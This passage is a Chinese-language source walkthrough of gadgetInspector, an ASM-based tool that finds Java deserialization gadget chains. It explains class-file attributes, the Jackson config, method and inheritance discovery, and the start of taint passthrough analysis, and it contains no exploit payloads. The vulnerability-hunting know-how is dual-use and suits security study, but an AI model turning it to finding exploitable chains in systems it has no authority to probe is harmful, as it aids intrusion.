字段十六进制值说明attribute_name_index00 09常量池第 9 项("LocalVariableTable")attribute_length00 00 00 16长度 22 字节local_variable_table_length00 022 个局部变量条目条目 1:start_pc00 00变量 args 作用域起始偏移 0length00 04作用域长度 4 字节name_index00 0E常量池第 14 项(变量名 args)descriptor_index00 0F常量池第 15 项(类型 [Ljava/lang/String;)index00 00局部变量槽位
0x10 属性Attribute-2+nByte
0x00 01:属性数量1
0x0012:属性名称,CONSTANT-18,SourceFile。
SourceFile属性:
类文件的顶级属性,记录 源码文件名,作用如下:
调试支持:在异常堆栈中显示源码文件名(如 Test.java)。
代码溯源:帮助开发者快速定位源码文件。
可读性:反编译时显示原始文件名,而非匿名类名。
SourceFile文件结构如下:
SourceFile_attribute {
u2 attribute_name_index;
u4 attribute_length;
u2 sourcefile_index;
}
0x00 00 00 02,attribute_length,属性长度2.
0x00 13,sourcefile_index,指向CONSTANT-19,为ClassTest.java。
gadgetInspector分析
0x01 Intro
工具基于ASM技术来对控制字节码,从而达到对传入jar及war包的classpath下的类进行读取,并依次记录类信息、类方法信息、调用关系信息。最后基于以上收集的信息来进行反序列化链的挖掘,分别对应如下几个类:
GadgetInspector:main方法,程序的入口,做一些配置以及数据的准备工作
MethodDiscovery:类、方法数据以及父子类、超类关系数据的搜索
PassthroughDiscovery:分析参数能影响到返回值的方法,并收集存储
CallGraphDiscovery:记录调用者caller方法和被调用者target方法的参数关联
SourceDiscovery:入口方法的搜索,只有具备某种特征的入口才会被标记收集
GadgetChainDiscovery:整合以上数据,并通过判断调用链的最末端slink特征,从而判断出可利用的gadget chain
0x02 主入口-GadgetInspetcor
该类为整个工具的入口类,基本上是对于相关配置做出初始化处理,静态代码块中创建准备写入相关结果的文件。main中首先验证是否存在参数,若为空退出。工具在挖掘时需要我们指定不同的gadget-chain,如jdk原生反序列化、jackson等,以及指定classpath的路径。
接下来会对日志进行配置,之后是对历史dat文件(上面提到的类、方法等相关数据的本地化存储)的管理,以及反序列化链类型的指定。我们主要看这一部分是如何指定反序列化链类型的:
else if (arg.equals("--config")) {
//--config参数指定fuzz类型
config = ConfigRepository.getConfig(args[++argIndex]);
if (config == null) {
throw new IllegalArgumentException("Invalid config name: " + args[argIndex]);
}
跟进到getConfig方法中,并且也可以看到所有的gadget-chain是通过不同的Config来实现的,并且都实现了GIConfig接口:
public interface GIConfig {
String getName();
SerializableDecider getSerializableDecider(Map<MethodReference.Handle, MethodReference> methodMap, InheritanceMap inheritanceMap);
ImplementationFinder getImplementationFinder(
Map<Handle, MethodReference> methodMap,
Map<Handle, Set<Handle>> methodImplMap,
InheritanceMap inheritanceMap,
Map<ClassReference.Handle, Set<Handle>> methodsByClass);
SourceDiscovery getSourceDiscovery();
SlinkDiscovery getSlinkDiscovery();
}
我们以Jackson的实现来看,这些被实现的方法都会在后面用到,他们都是用来对指定gadget-chain进行区分的方法,不同的gadget-chain的特征不同,因此我们可以通过这些方法来确认对应的chain。
package gadgetinspector.config;
import gadgetinspector.ImplementationFinder;
import gadgetinspector.SerializableDecider;
import gadgetinspector.SlinkDiscovery;
import gadgetinspector.SourceDiscovery;
import gadgetinspector.data.ClassReference;
import gadgetinspector.data.InheritanceMap;
import gadgetinspector.data.MethodReference;
import gadgetinspector.data.MethodReference.Handle;
import gadgetinspector.jackson.JacksonImplementationFinder;
import gadgetinspector.jackson.JacksonSerializableDecider;
import gadgetinspector.jackson.JacksonSourceDiscovery;
import java.util.Map;
import java.util.Set;
public class JacksonDeserializationConfig implements GIConfig {
@Override
public String getName() {
return "jackson";
}
@Override
public SerializableDecider getSerializableDecider(Map<MethodReference.Handle, MethodReference> methodMap, InheritanceMap inheritanceMap) {
return new JacksonSerializableDecider(methodMap);
}
@Override
public ImplementationFinder getImplementationFinder(
Map<Handle, MethodReference> methodMap,
Map<Handle, Set<Handle>> methodImplMap,
InheritanceMap inheritanceMap,
Map<ClassReference.Handle, Set<Handle>> methodsByClass) {
return new JacksonImplementationFinder(getSerializableDecider(methodMap, inheritanceMap));
}
@Override
public SourceDiscovery getSourceDiscovery() {
return new JacksonSourceDiscovery();
}
@Override
public SlinkDiscovery getSlinkDiscovery() {
return null;
}
}
跟进JacksonSerializableDecider,两个map中记录的是可以通过Jackson决策的类和方法:
//类是否通过决策的缓存集合
private final Map<ClassReference.Handle, Boolean> cache = new HashMap<>();
//类名-方法集合 映射集合
private final Map<ClassReference.Handle, Set<MethodReference.Handle>> methodsByClassMap;
具体的决策判断逻辑在apply中,在后面的分析中我们也可以看到会调用apply方法来判断类和方法是否通过决策。以jackson的apply来举例,由于jackson的json反序列化是需要以类的无参构造为起始,在java中如果没有显式声明无参构造器,但是显式声明了一个有参构造,那么该类是没有无参构造的,因此代表着该类不可进行jackson反序列化。
@Override
public Boolean apply(ClassReference.Handle handle) {
if (isNoGadgetClass(handle)) {
return false;
}
Boolean cached = cache.get(handle);
if (cached != null) {
return cached;
}
Set<MethodReference.Handle> classMethods = methodsByClassMap.get(handle);
if (classMethods != null) {
for (MethodReference.Handle method : classMethods) {
//该类,只要有无参构造方法,就通过决策
if (method.getName().equals("<init>") && method.getDesc().equals("()V")) {
cache.put(handle, Boolean.TRUE);
return Boolean.TRUE;
}
}
}
cache.put(handle, Boolean.FALSE);
return Boolean.FALSE;
}
接下来回到Config中,继续看InplementationFinder,在决策时由于Java的多态性,并且gadgetinspector无法在要被检测的jar运行时进行判断,因此当调用到某一接口的方法时,需要查找接口所有的实现类中的该方法,并将这些方法组成实际的调用链去进行污点分析。这些方法是否可进行当前指定的gadget-chain反序列化,还是需要通过apply方法来进行判断:
public class JacksonImplementationFinder implements ImplementationFinder {
private final SerializableDecider serializableDecider;
public JacksonImplementationFinder(SerializableDecider serializableDecider) {
this.serializableDecider = serializableDecider;
}
@Override
public Set<MethodReference.Handle> getImplementations(MethodReference.Handle target) {
Set<MethodReference.Handle> allImpls = new HashSet<>();
// For jackson search, we don't get to specify the class; it uses reflection to instantiate the
// class itself. So just add the target method if the target class is serializable.
if (Boolean.TRUE.equals(serializableDecider.apply(target.getClassReference()))) {
allImpls.add(target);
}
return allImpls;
}
}
继续看JacksonSourceDiscovery,内部只有一个discover方法,这个方法的作用就是帮我们找到可进行Jackson反序列化的入口方法,对于jackson反序列化来说,会以无参构造为入口,并依次执行setter以及getter。因此discover会查找出通过了apply决策后的类的无参构造(()V代表无参,返回值为viod),以及getter和setter。
@Override
public void discover(Map<ClassReference.Handle, ClassReference> classMap,
Map<MethodReference.Handle, MethodReference> methodMap,
InheritanceMap inheritanceMap, Map<MethodReference.Handle, Set<GraphCall>> graphCallMap) {
final JacksonSerializableDecider serializableDecider = new JacksonSerializableDecider(methodMap);
for (MethodReference.Handle method : methodMap.keySet()) {
if (skipList.contains(method.getClassReference().getName())) {
continue;
}
if (serializableDecider.apply(method.getClassReference())) {
if (method.getName().equals("<init>") && method.getDesc().equals("()V")) {
addDiscoveredSource(new Source(method, 0));
}
if (method.getName().startsWith("get") && method.getDesc().startsWith("()")) {
addDiscoveredSource(new Source(method, 0));
}
if (method.getName().startsWith("set") && method.getDesc().matches("\\(L[^;]*;\\)V")) {
addDiscoveredSource(new Source(method, 0));
}
}
继续向下看GadgetInspector,进入到initJarData方法中,通过for循环读取最后面的参数,从而指定多个jar或war包,通过URLClassLoader,根据绝对路径将这些jar或war包进行加载,并通过ClassResourceEnumerator将jar或war包中的class进行加载:
ClassLoader classLoader = initJarData(args, boot, argIndex, haveNewJar, pathList); for (int i = 0; i < args.length - argIndex; i++) {
String pathStr = args[argIndex + i];
if (!pathStr.endsWith(".jar")) {
//todo 主要用于大批量的挖掘链
//非.jar结尾,即目录,需要遍历目录找出所有jar文件
File file = Paths.get(pathStr).toFile();
if (file == null || !file.exists())
continue;
Files.walkFileTree(file.toPath(), new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
if (!file.getFileName().toString().endsWith(".jar"))
return FileVisitResult.CONTINUE;
File readFile = file.toFile();
Path path = Paths.get(readFile.getAbsolutePath());
if (Files.exists(path)) {
if (ConfigHelper.history) {
if (!scanJarHistory.contains(path.getFileName().toString())) {
if (jarCount.incrementAndGet() <= ConfigHelper.maxJarCount) {
pathList.add(path);
}
}
} else {
if (jarCount.incrementAndGet() <= ConfigHelper.maxJarCount) {
pathList.add(path);
}
}
}
return FileVisitResult.CONTINUE;
}
});
continue;
}
Path path = Paths.get(pathStr).toAbsolutePath();
if (!Files.exists(path)) {
throw new IllegalArgumentException("Invalid jar path: " + path);
}
pathList.add(path);
//类枚举加载器,具有两个方法
//getRuntimeClasses获取rt.jar的所有class
//getAllClasses获取rt.jar以及classLoader加载的class
final ClassResourceEnumerator classResourceEnumerator = new ClassResourceEnumerator(
classLoader);
接下来进入beginDiscovery方法中,接下来我们开始分析具体的挖掘逻辑。
0x03 类、方法、继承关系数据收集-MethodDiscovery
首先进入methodDiscovery当中,可以看到如果不存在,会生成classes.dat、methods .dat、inheritanceMap.dat,分别对类数据、方法数据以及继承关系数据进行收集:
if (!Files.exists(Paths.get("classes.dat")) || !Files.exists(Paths.get("methods.dat"))
|| !Files.exists(Paths.get("inheritanceMap.dat"))) {
LOGGER.info("Running method discovery...");
MethodDiscovery methodDiscovery = new MethodDiscovery();
methodDiscovery.discover(classResourceEnumerator);
//保存了类信息、方法信息、继承实现信息
methodDiscovery.save();
}
跟进MethodDiscovery.discover,传入了上面保存了类信息的classResourceRnumerator,并且调用了getAllClasses方法,获取到了包括rt.jar和指定jar、war包中的所有类,并调用ClassReader的accept方法进行下一步,这里所用到的就是ASM。
public void discover(final ClassResourceEnumerator classResourceEnumerator) throws Exception {
for (ClassResourceEnumerator.ClassResource classResource : classResourceEnumerator.getAllClasses()) {
try (InputStream in = classResource.getInputStream()) {
ClassReader cr = new ClassReader(in);
try {
//使用asm的ClassVisitor、MethodVisitor,利用观察模式去扫描所有的class和method并记录
cr.accept(new MethodDiscoveryClassVisitor(), ClassReader.EXPAND_FRAMES);
} catch (Exception e) {
LOGGER.error("Exception analyzing: " + classResource.getName(), e);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
ASM及访问者模式
ASM的设计原理基于访问者模式,常用于类的属性无改变,在不侵入类的情况下并对属性的操作做出扩充的场景(类似于AOP)。用生活中的例子我们可以这么理解,想象你是一个导游,要带游客参观一个由多个景点(类、方法、字段等)组成的旅游区(Java类)。访问者模式的工作方式是这样的:
景点清单:旅游区有一份固定的景点清单(类的结构,比如方法、字段,并且这些不会变动)。
游客自由行动:游客(XXXVisitor)可以自由选择在每个景点做什么(比如拍照、记录日志、修改行为)。
导游协调:导游(ASM-ClassReader)负责按顺序带游客访问每个景点,并让游客在每个景点执行自己的操作。
ASM的关键思想:字节码(景点)的结构是固定的,但你可以通过"游客"灵活地定义在每个"景点"做什么,使用时我们需要先通过字节流等方式读入要控制的类,之后传入给ClassReader的accept方法,accept方法会按照JVM规定好的类文件结构来依次调用对应的方法,我们可以通过重写ClassVisitor的各个visit方法,在调用accept时传入,从而实现自己的visitXXX的逻辑。因为ASM是基于责任链的调用,并且支持visiter的嵌套包装来进行遍历调用,调用顺序为从最外层的子visitor开始调用,直到最内层的ClassVisitor,因此需要在我们的visit逻辑中处理下一层的
1. visit() → 访问类的基础信息(版本、类名等)
2. visitSource() → 源码信息(可选)
3. visitModule() → 模块信息(Java 9+,可选)
4. visitNestHost() → 嵌套类宿主(Java 11+,可选)
5. visitPermittedSubtype() → sealed类的许可子类(Java 17+,可选)
6. visitOuterClass() → 外部类信息(如果是内部类)
7. visitAnnotation() → 类上的注解(可能有多个)
8. visitTypeAnnotation() → 类上的类型注解(可能有多个)
9. visitAttribute() → 类的自定义属性(可能有多个)
10. visitField() → 类的字段(按字节码中的顺序访问)
11. visitMethod() → 类的方法(按字节码中的顺序访问)
12. visitEnd() → 类访问结束
我们回到MethodDiscovery.discover,在通过cr.accept后,cr先调用visit方法,因此我们跟进传入cr的MethodDiscoveryClassVisitor的visit方法,MDCV的visit方法保存了当前观察类的信息
this.name:类名
this.superName:继承的父类名
this.interfaces:实现的接口名
this.isInterface:当前类是否接口
this.members:类的字段集合
this.classHandle:gadgetinspector中对于类名的封装,可以通过类名来操作类中相关属性
public void visit ( int version, int access, String name, String signature, String superName, String[]interfaces)
{
this.name = name;
this.superName = superName;
this.interfaces = interfaces;
this.isInterface = (access & Opcodes.ACC_INTERFACE) != 0;
this.members = new ArrayList<>();
this.classHandle = new ClassReference.Handle(name);//类名
annotations = new HashSet<>();
super.visit(version, access, name, signature, superName, interfaces);
}
接下来我们跳过几个不太重要的visit,来到visitField,在cr的控制下,被观察的类有多少个字段,visitField就会被调用多少次,来对字段进行处理。参数列表分别代表属性访问限定符,属性名,属性类型,泛型,属性的初始值(只有静态字段生效)该方法调用时,会先判断该字段是否是静态if ((access & Opcodes.ACC_STATIC) == 0),之后会通过判断字段的类型,如果是Object或者数组类型,就获取其具体内部类型,如果是基本类型,就获取类型的原始描述符。
比如String类型是Object,String[]是Array,那么最后保存的是java/lang/String,Int类型保留原始描述符后为I。获取到类型后将数据保存到visit中初始化好的列表member中。
@Override
public FieldVisitor visitField(int access, String name, String desc,
String signature, Object value) {
if ((access & Opcodes.ACC_STATIC) == 0) {
Type type = Type.getType(desc);
String typeName;
if (type.getSort() == Type.OBJECT || type.getSort() == Type.ARRAY) {
typeName = type.getInternalName();
} else {
typeName = type.getDescriptor();
}
members.add(new ClassReference.Member(name, access, new ClassReference.Handle(typeName)));
}
return super.visitField(access, name, desc, signature, value);
}
可以看到传入的是ClassReference的内部类Member的构造函数,我们跟进ClassReference及Member的结构,可以发现在ClassReference中通过member数组来存储字段信息,内部类Member存储了字段的名字,访问限定修饰符,以及一个Handle类型的type,用来存储属性类型。Handle也是ClassReference中的一个内部类,只有一个字段,用来存储类名。大概访问流程是每个被观测的类对应一个MethodDiscoveryClassVisitor及ClassReference,当ASM观测到一个字段时调用visitField,此时visitField
private final Member[] members; public static class Member {
private final String name;
private final int modifiers;
private final ClassReference.Handle type;
public Member(String name, int modifiers, Handle type) {
this.name = name;
this.modifiers = modifiers;
this.type = type;
} public static class Handle {
private final String name;
public Handle(String name) {
this.name = name;
}
public String getName() {
return name;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Handle handle = (Handle) o;
return name != null ? name.equals(handle.name) : handle.name == null;
}
@Override
public int hashCode() {
return name != null ? name.hashCode() : 0;
}
}
接下来进行 visitMethod,依旧是观察到多少个方法就会调用多少次,初始化一个MethodReference,传入类名,方法名,方法描述(方法的返回值类型以及参数类型,需要使用Type类来进行解析),并且将方法添加到列表discoveredMethods中。
@Override
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
boolean isStatic = (access & Opcodes.ACC_STATIC) != 0;
//找到一个方法,添加到缓存
discoveredMethods.add(new MethodReference(
classHandle,//类名
name,
desc,
isStatic));
return super.visitMethod(access, name, desc, signature, exceptions);
}
最后进入到visitEnd,刚才也说过了会将所有字段整合到一个ClassReference中,并且将整合好的ClassReference添加到discoveredClasses中
@Override
public void visitEnd() {
ClassReference classReference = new ClassReference(
name,
superName,
interfaces,
isInterface,
members.toArray(new ClassReference.Member[members.size()]),
annotations);//把所有找到的字段封装
//找到一个方法遍历完成后,添加类到缓存
discoveredClasses.add(classReference);
super.visitEnd();
}
整个methodDiscovery.discovr执行完成,继续到下一步methodDiscovery.save();中,通过DataLoader.saveData完成。其中对于classes.dat和methods.dat分别通过ClassReference.Factory()和MethodReference.Factory()创建的factory进行序列化存储
public static <T> void saveData(Path filePath, DataFactory<T> factory, Collection<T> values) throws IOException {
try (BufferedWriter writer = Files.newWriter(filePath.toFile(), StandardCharsets.UTF_8)) {
for (T value : values) {
final String[] fields = factory.serialize(value);
if (fields == null) {
continue;
}
StringBuilder sb = new StringBuilder();
for (String field : fields) {
if (field == null) {
sb.append("\t");
} else {
sb.append("\t").append(field);
}
}
writer.write(sb.substring(1));
writer.write("\n");
}
}
最终形成的文件格式如下:
classes.dat:
类名(例:java/lang/String) 父类 接口A,接口B,接口C 是否接口 字段1!字段1access!字段1类型!字段2!字段2access!字段1类型
methods.dat:
类名 方法名 方法描述 是否静态方法
在持久化相关数据后,会通过Map来整合ClassReference.Handle和ClassReference之间的映射关系
Map<ClassReference.Handle, ClassReference> classMap = new HashMap<>();
for (ClassReference clazz : discoveredClasses) {
classMap.put(clazz.getHandle(), clazz);
}
接下来进行类的继承以及实现关系的整合分析
InheritanceDeriver.derive(classMap).save();
跟进到InheritanceDeriver.derive中,可以看到做的事就是利用Map来保存继承关系,形成了类- >(父类,接口,超类)的映射关系。
public static InheritanceMap derive(Map<ClassReference.Handle, ClassReference> classMap) {
LOGGER.debug("Calculating inheritance for " + (classMap.size()) + " classes...");
Map<ClassReference.Handle, Set<ClassReference.Handle>> implicitInheritance = new HashMap<>();
//遍历所有类
for (ClassReference classReference : classMap.values()) {
if (implicitInheritance.containsKey(classReference.getHandle())) {
throw new IllegalStateException("Already derived implicit classes for " + classReference.getName());
}
Set<ClassReference.Handle> allParents = new HashSet<>();
//获取classReference的所有父类、超类、接口类
getAllParents(classReference, classMap, allParents);
//添加缓存:类名 -> 所有的父类、超类、接口类
implicitInheritance.put(classReference.getHandle(), allParents);
}
//InheritanceMap翻转集合,转换为{class:[subclass]}
return new InheritanceMap(implicitInheritance);
}
getAllParents方法会递归的将当前观察类的所有父类、接口的父类查找出来,并且添加到allParents集合中
private static void getAllParents(ClassReference classReference, Map<ClassReference.Handle, ClassReference> classMap, Set<ClassReference.Handle> allParents) {
Set<ClassReference.Handle> parents = new HashSet<>();
//把当前classReference类的父类添加到parents
if (classReference.getSuperClass() != null) {
parents.add(new ClassReference.Handle(classReference.getSuperClass()));
}
//把当前classReference类实现的所有接口添加到parents
for (String iface : classReference.getInterfaces()) {
parents.add(new ClassReference.Handle(iface));
}
for (ClassReference.Handle immediateParent : parents) {
//从所有类数据集合中,遍历找出classReference的父类、接口
ClassReference parentClassReference = classMap.get(immediateParent);
if (parentClassReference == null) {
LOGGER.debug("No class id for " + immediateParent.getName());
continue;
}
//继续添加到集合中
allParents.add(parentClassReference.getHandle());
//继续递归查找,直到把classReference类的所有父类、超类、接口类都添加到allParents
getAllParents(parentClassReference, classMap, allParents);
}
}
最后将类名与整合好的allParents形成映射关系,存储到implicitInheritance中:
implicitInheritance.put(classReference.getHandle(), allParents);
接下来会用InheritanceMap构造函数将implicitInheritance的子->父的映射关系进行逆转整合。
private final Map<ClassReference.Handle, Set<ClassReference.Handle>> inheritanceMap;
//父-子关系集合
private final Map<ClassReference.Handle, Set<ClassReference.Handle>> subClassMap;
public InheritanceMap(Map<ClassReference.Handle, Set<ClassReference.Handle>> inheritanceMap) {
this.inheritanceMap = inheritanceMap;
subClassMap = new HashMap<>();
for (Map.Entry<ClassReference.Handle, Set<ClassReference.Handle>> entry : inheritanceMap.entrySet()) {
ClassReference.Handle child = entry.getKey();
for (ClassReference.Handle parent : entry.getValue()) {
subClassMap.computeIfAbsent(parent, k -> new HashSet<>()).add(child);
}
}
}
其中这一行代码会判断inheritanceMap中每个子类对应的set中的value(parent),是否在subClassMap中,如果不存在执行Lambda表达式,创建一个新的空HashSet,将parent作为key,HashSet作为value存入subClassMap,并且将child添加到HashSet中。最终subClassMap就变成了父类->子类的映射关系。
subClassMap.computeIfAbsent(parent, k -> new HashSet<>()).add(child);
举个例子:
假设 inheritanceMap 包含:
"Dog" → {"Animal", "Object"}
"Cat" → {"Animal", "Object"}
则 subClassMap 的构建过程如下:
处理 Dog 的父类 Animal:
subClassMap 中没有 Animal,创建HashSet → Animal: {Dog}
处理 Dog 的父类 Object:
没有 Object,创建HashSet → Object: {Dog}
处理 Cat 的父类 Animal:
Animal 已存在,直接添加 → Animal: {Dog, Cat}
处理 Cat 的父类 Object:
Object 已存在,添加 → Object: {Dog, Cat}
最终 subClassMap 结果:
"Animal" → {"Dog", "Cat"}
"Object" → {"Dog", "Cat"}
最后调用save方法对继承关系进行保存,方法依旧和上面一样,会进行序列化后持久化存储:
public void save() throws IOException {
//inheritanceMap.dat数据格式:
//类名 父类或超类或接口类1 父类或超类或接口类2 父类或超类或接口类3 ...
DataLoader.saveData(Paths.get("inheritanceMap.dat"), new InheritanceMapFactory(), inheritanceMap.entrySet());
}
最终形成的inheritanceMap.dat结构如下:
类名 父类或超类或接口类1 父类或超类或接口类2 父类或超类或接口类3 ...
0x04 入参返回值污染关系收集-PassthroughDiscovery
这一步类似于污点分析,我们对各个方法的参数对返回值的污染关系做出总结:
if (!Files.exists(Paths.get("passthrough.dat")) && ConfigHelper.taintTrack) {
LOGGER.info("Analyzing methods for passthrough dataflow...");
PassthroughDiscovery passthroughDiscovery = new PassthroughDiscovery();
//记录参数在方法调用链中的流动关联(如:A、B、C、D四个方法,调用链为A->B B->C C->D,其中参数随着调用关系从A流向B,在B调用C过程中作为入参并随着方法结束返回,最后流向D)
//该方法主要是追踪上面所说的"B调用C过程中作为入参并随着方法结束返回",入参和返回值之间的关联
passthroughDiscovery.discover(classResourceEnumerator, config);
passthroughDiscovery.save();
}
跟进passthroughDiscovery.discover当中,首先会将我们上一步MethodDiscovery所生成的类、方法、继承信息读取进来
public void discover(final ClassResourceEnumerator classResourceEnumerator, final GIConfig config) throws IOException {
//加载文件记录的所有方法信息
Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();
//加载文件记录的所有类信息
Map<ClassReference.Handle, ClassReference> classMap = DataLoader.loadClasses();
//加载文件记录的所有类继承、实现关联信息
InheritanceMap inheritanceMap = InheritanceMap.load();
接下来通过discoverMethodCalls,来找出所有方法间的调用关系,我们继续跟进
//搜索方法间的调用关系,缓存至methodCalls集合,返回 类名->类资源 映射集合
Map<String, ClassResourceEnumerator.ClassResource> classResourceByName = discoverMethodCalls(classResourceEnumerator);
在该方法中,依然是通过ASM来先对所有的类进行一次观察,用到的visitor是MethodCallDiscoveryClassVisitor,并且这里的MethodCallDiscoveryClassVisitor内部是做了一些包装的,这一部分的执行顺序可能会有点乱,我会在方法分析结束后总结一下:
private Map<String, ClassResourceEnumerator.ClassResource> discoverMethodCalls(final ClassResourceEnumerator classResourceEnumerator) throws IOException {
Map<String, ClassResourceEnumerator.ClassResource> classResourcesByName = new HashMap<>();
for (ClassResourceEnumerator.ClassResource classResource : classResourceEnumerator.getAllClasses()) {
try (InputStream in = classResource.getInputStream()) {
ClassReader cr = new ClassReader(in);
try {
MethodCallDiscoveryClassVisitor visitor = new MethodCallDiscoveryClassVisitor(Opcodes.ASM6);
cr.accept(visitor, ClassReader.EXPAND_FRAMES);
classResourcesByName.put(visitor.getName(), classResource);
} catch (Exception e) {
LOGGER.error("Error analyzing: " + classResource.getName(), e);
}
}
}
return classResourcesByName;
}
分别跟进MCDCV的visit以及visitMethod方法,visit方法中将传入进来的classname进行记录
@Override public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { super.visit(version, access, name, signature, superName, interfaces); if (this.name != null) { throw new IllegalStateException("ClassVisitor already visited a class!"); } thi
visitMethod方法又创建了一个MethodCallDiscoveryMethodVisitor,并且可以看到在实例化时将上面的mv也传了进去。但其实我们观察MethodCallDiscoveryClassVisitor的构造函数,在调用父类构造函数时并没有传入任何的classvisitor,因此父类ClassVisitor的cv属性为null,最终返回的也是个null,在这里传入给MCDMV的mv也是个null:
@Override
public MethodVisitor visitMethod(int access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
//在visit每个method的时候,创建MethodVisitor对method进行观察
MethodCallDiscoveryMethodVisitor modelGeneratorMethodVisitor = new MethodCallDiscoveryMethodVisitor(
api, mv, this.name, name, desc);
return new JSRInlinerAdapter(modelGeneratorMethodVisitor, access, name, desc, signature, exceptions);
} // MethodCallDiscoveryClassVisitor的构造函数
MethodCallDiscoveryClassVisitor visitor = new MethodCallDiscoveryClassVisitor(Opcodes.ASM6);
//父类ClassVisitor的构造函数
public ClassVisitor(final int api) {
this(api, null);
}
public ClassVisitor(final int api, final ClassVisitor classVisitor) {
if (api != Opcodes.ASM6
&& api != Opcodes.ASM5
&& api != Opcodes.ASM4
&& api != Opcodes.ASM7_EXPERIMENTAL) {
throw new IllegalArgumentException();
}
this.api = api;
this.cv = classVisitor;
}
//父类ClassVisitor的visitMethod方法
public MethodVisitor visitMethod(
final int access,
final String name,
final String descriptor,
final String signature,
final String[] exceptions) {
if (cv != null) {
return cv.visitMethod(access, name, descriptor, signature, exceptions);
}
return null;
}
跟进MethodCallDiscoveryMethodVisitor,可以发现父类为MethodVisitor,并且调用父类的构造函数时传入了mv,但其实我们这里静态分析可以分析出来mv是null的,即便传入了在调用MethodVisitor.visitXXX时,最终也不会走到cv.visitXXX上,我这里推测是作者为了工具的扩充性,如果我们需要添加其他的visitor来对方法进行其他处理,那么就可以形成我们之前提到的类似于责任链的方式,来遍历的调用visitXXX:
public MethodCallDiscoveryMethodVisitor(final int api, final MethodVisitor mv,
final String owner, String name, String desc) {
super(api, mv);
我们继续看,可以看到接下来会将传入的owner(此时正在观察的类名)封装到ClassReference.Handle中,并再将这个CRF.Handle和方法名、方法的相关描述封装到一个MethodReference.Handle中,calledMethods是每次观察到一个方法,都会创建的空HashSet,最终形成了观察方法:{被观察方法调用方法}的映射关系存入到methodCalls中:
// private final Map<MethodReference.Handle, Set<MethodReference.Handle>> methodCalls = new HashMap<>();
this.calledMethods = new HashSet<>();
methodCalls.put(new MethodReference.Handle(new ClassReference.Handle(owner), name, desc), calledMethods);
}
继续向下看,类中还有一个visitMethodInsn方法,当检测到方法内部的调用时就会执行(底层原理是检查到字节码指令INVOKEVIRTUAL、INVOKESPECIAL、INVOKESTATIC、INVOKEINTERFACE),从而将正在观察的方法中调用的方法加入到calledMethods中
@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
calledMethods.add(new MethodReference.Handle(new ClassReference.Handle(owner), name, desc));
super.visitMethodInsn(opcode, owner, name, desc, itf);
}指令调用类型适用方法特点INVOKEVIRTUAL虚方法调用(动态绑定)普通实例方法(非私有、非构造器、非静态)运行时根据对象实际类型选择方法,支持多态INVOKESPECIAL特殊方法调用(静态绑定)构造器、私有方法、super.xxx()编译时就决定调用哪一个,不支持多态INVOKESTATIC静态方法调用static 修饰的方法无需对象即可调用,直接通过类名调用INVOKEINTERFACE接口方法调用接口定义的方法运行时通过接口表定位目标方法,支持多态
回到visitMethod中,最后会进行return操作,并且return的是JSRInlinerAdapter。为什么要return这个类呢,因为在早期的java版本中,使用JSR和RET跳转指令来进行程序流程控制,在后续版本已废弃并使用GOTO指令,因此需要进行兼容处理。JSRInlinerAdapter会将JSR和RET指令转为GOTO指令,从而兼容了早期项目。
return new JSRInlinerAdapter(modelGeneratorMethodVisitor, access, name, desc, signature, exceptions);
经过这些封装,调用cr.accept(visitor, ClassReader.EXPAND_FRAMES);将封装好的MethodCallDiscoveryClassVisitor传入进行方法调用关系收集。accept执行顺序如下:
MethodCallDiscoveryClassVisitor.visit对类进行观察
当观察到方法时调用MethodCallDiscoveryClassVisitor.visitMethod,其中会创建一个MethodCallDiscoveryMethodVisitor实例,并包装为JSRInlinerAdapter返回,创建实例时会自动为观察到的方法添加一个映射关系,即当前观察方法->calledMethods
当触发了visitxxx时,会先把这些visitxxx发给JSRInlinerAdapter,JSRInlinerAdapter通过各个visit方法对JSR和RET跳转指令进行转换。
JSRInlinerAdapter 本身也是一个 MethodVisitor,它的回调时机完全跟 ASM 的方法遍历流程一致,只不过它在内部额外“钩”了两个地方来做子例程(JSR/RET)内联:
visitJumpInsn每当 ASM 在浏览方法字节码时碰到一个跳转指令(visitJumpInsn(int opcode, Label lbl)),就会调用到它的这个方法。
如果 opcode == JSR,它就把这个子例程入口标签记下来,标记说“后面要做内联”
visitEnd当 ASM 遍历完一个方法的所有指令并调用到 visitEnd() 时,JSRInlinerAdapter 会先检查在 visitJumpInsn 里有没有记录过任何 JSR。
如果有,就走 markSubroutines() → emitCode() 的流程,把所有老版本的 JSR/RET 全部展开成 GOTO(以及必要的空值占位等)
然后再把重写后的指令列表一次性转发给它下游的 MethodVisitor(通常是一个 MethodWriter)https://code.yawk.at/org.ow2.asm/asm-analysis/5.2/org/objectweb/asm/commons/JSRInlinerAdapter.java
换句话说:
只要你把 JSRInlinerAdapter 插到你的 MethodVisitor 链上(手动 new 一个 或者在使用 ClassWriter.COMPUTE_FRAMES/ClassReader.EXPAND_FRAMES 时 ASM 自动给你插入),
在方法遍历时遇到跳转就会进 visitJumpInsn,
在方法结束时(visitEnd)就会真正触发“内联 JSR→GOTO” 的逻辑。
这样保证了旧版子例程指令在生成新的字节码之前就被全部消除,适配现代 JVM 对 StackMapFrame 的要求。
4.JSRInlinerAdapter将指令转换并内联后,会通过其visitend方法再次通过accept将visitXXX传递给下一个visitor,也就是传入的MethodCallDiscoveryMethodVisitor的visitMethodInsn方法,从而将被调用的方法添加到当前观察方法的calledMethods中。
accept方法结束后还剩一行,还是将类名和classResource的映射关系存储起来并return:
classResourcesByName.put(visitor.getName(), classResource);
discoverMethodCalls逻辑结束后,接下来是对methodCalls进行一次逆拓扑排序,所谓逆拓扑排序就是把拓扑排序的序列倒过来,什么你还不知道什么是拓扑排序?或许你该学一下数据结构了,或者看一下这篇文章介绍的吧
https://paper.seebug.org/1034/List<MethodReference.Handle> sortedMethods = topologicallySortMethodCalls();
